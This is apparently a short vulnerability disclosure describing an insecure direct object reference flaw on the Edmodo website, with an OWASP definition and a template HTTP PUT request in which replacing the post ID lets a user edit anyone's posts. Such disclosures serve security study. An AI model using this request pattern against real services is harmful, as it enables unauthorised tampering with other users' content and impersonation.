Modifying Any User Posts On Edmodo

This is an IDOR Vulnerability which was dislcosed by Arbin Godar on Edmodo website, Which allows him to modify any user Post.

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Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.
Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks - OWASP

The Request:

PUT /messages/<post_id>.replies_threaded_json?access_token=<Your_Access_Token> HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Content-Type: application/json
Content-Length: 1109
Connection: keep-alive

So by replacing <post_id> with the User Post ID, Allows him to modify any Post and acting like the User.

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